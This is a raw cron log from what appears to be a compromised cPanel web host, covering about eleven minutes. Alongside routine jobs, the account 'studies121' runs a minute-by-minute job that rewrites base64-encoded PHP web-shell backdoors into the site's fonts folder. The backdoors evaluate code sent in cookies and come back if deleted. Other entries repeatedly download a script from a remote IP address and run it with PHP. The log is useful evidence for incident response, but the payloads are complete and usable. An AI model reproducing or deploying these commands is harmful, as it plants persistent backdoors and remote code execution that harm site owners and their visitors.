Sep  9 17:29:01 ip-184-168-122-23 CROND[20904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:29:01 ip-184-168-122-23 CROND[20906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:29:01 ip-184-168-122-23 CROND[20907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:29:01 ip-184-168-122-23 CROND[20909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:30:01 ip-184-168-122-23 CROND[20997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:30:01 ip-184-168-122-23 CROND[20999]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 17:30:01 ip-184-168-122-23 CROND[21002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:30:01 ip-184-168-122-23 CROND[21003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:30:01 ip-184-168-122-23 CROND[21006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:30:01 ip-184-168-122-23 CROND[21007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:30:01 ip-184-168-122-23 CROND[21008]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:30:01 ip-184-168-122-23 CROND[21009]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:31:01 ip-184-168-122-23 CROND[21116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:31:01 ip-184-168-122-23 CROND[21120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:31:01 ip-184-168-122-23 CROND[21119]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 17:31:01 ip-184-168-122-23 CROND[21121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:31:01 ip-184-168-122-23 CROND[21118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:32:01 ip-184-168-122-23 CROND[21461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:32:01 ip-184-168-122-23 CROND[21463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:32:01 ip-184-168-122-23 CROND[21465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:32:01 ip-184-168-122-23 CROND[21466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:32:01 ip-184-168-122-23 CROND[21464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:33:01 ip-184-168-122-23 CROND[21818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:33:01 ip-184-168-122-23 CROND[21822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:33:01 ip-184-168-122-23 CROND[21820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:33:01 ip-184-168-122-23 CROND[21821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:34:01 ip-184-168-122-23 CROND[21922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:34:01 ip-184-168-122-23 CROND[21923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:34:01 ip-184-168-122-23 CROND[21927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:34:01 ip-184-168-122-23 CROND[21925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:34:01 ip-184-168-122-23 CROND[21926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:35:01 ip-184-168-122-23 CROND[22040]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:35:01 ip-184-168-122-23 CROND[22042]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 17:35:01 ip-184-168-122-23 CROND[22044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:35:01 ip-184-168-122-23 CROND[22045]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:35:01 ip-184-168-122-23 CROND[22046]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 17:35:01 ip-184-168-122-23 CROND[22048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:35:01 ip-184-168-122-23 CROND[22049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:35:01 ip-184-168-122-23 CROND[22047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:36:01 ip-184-168-122-23 CROND[22159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:36:01 ip-184-168-122-23 CROND[22161]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:36:01 ip-184-168-122-23 CROND[22164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:36:01 ip-184-168-122-23 CROND[22162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:36:01 ip-184-168-122-23 CROND[22163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:37:01 ip-184-168-122-23 CROND[22344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:37:01 ip-184-168-122-23 CROND[22346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:37:01 ip-184-168-122-23 CROND[22347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:37:01 ip-184-168-122-23 CROND[22348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:38:01 ip-184-168-122-23 CROND[22473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:38:01 ip-184-168-122-23 CROND[22474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:38:01 ip-184-168-122-23 CROND[22477]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:38:01 ip-184-168-122-23 CROND[22476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:38:01 ip-184-168-122-23 CROND[22475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:39:01 ip-184-168-122-23 CROND[22613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:39:01 ip-184-168-122-23 CROND[22617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:39:01 ip-184-168-122-23 CROND[22615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:39:01 ip-184-168-122-23 CROND[22616]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 17:39:01 ip-184-168-122-23 CROND[22618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:40:01 ip-184-168-122-23 CROND[22777]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 17:40:01 ip-184-168-122-23 CROND[22781]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:40:01 ip-184-168-122-23 CROND[22782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:40:01 ip-184-168-122-23 CROND[22783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:40:01 ip-184-168-122-23 CROND[22780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:40:01 ip-184-168-122-23 CROND[22785]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:40:01 ip-184-168-122-23 CROND[22786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:40:01 ip-184-168-122-23 CROND[22787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
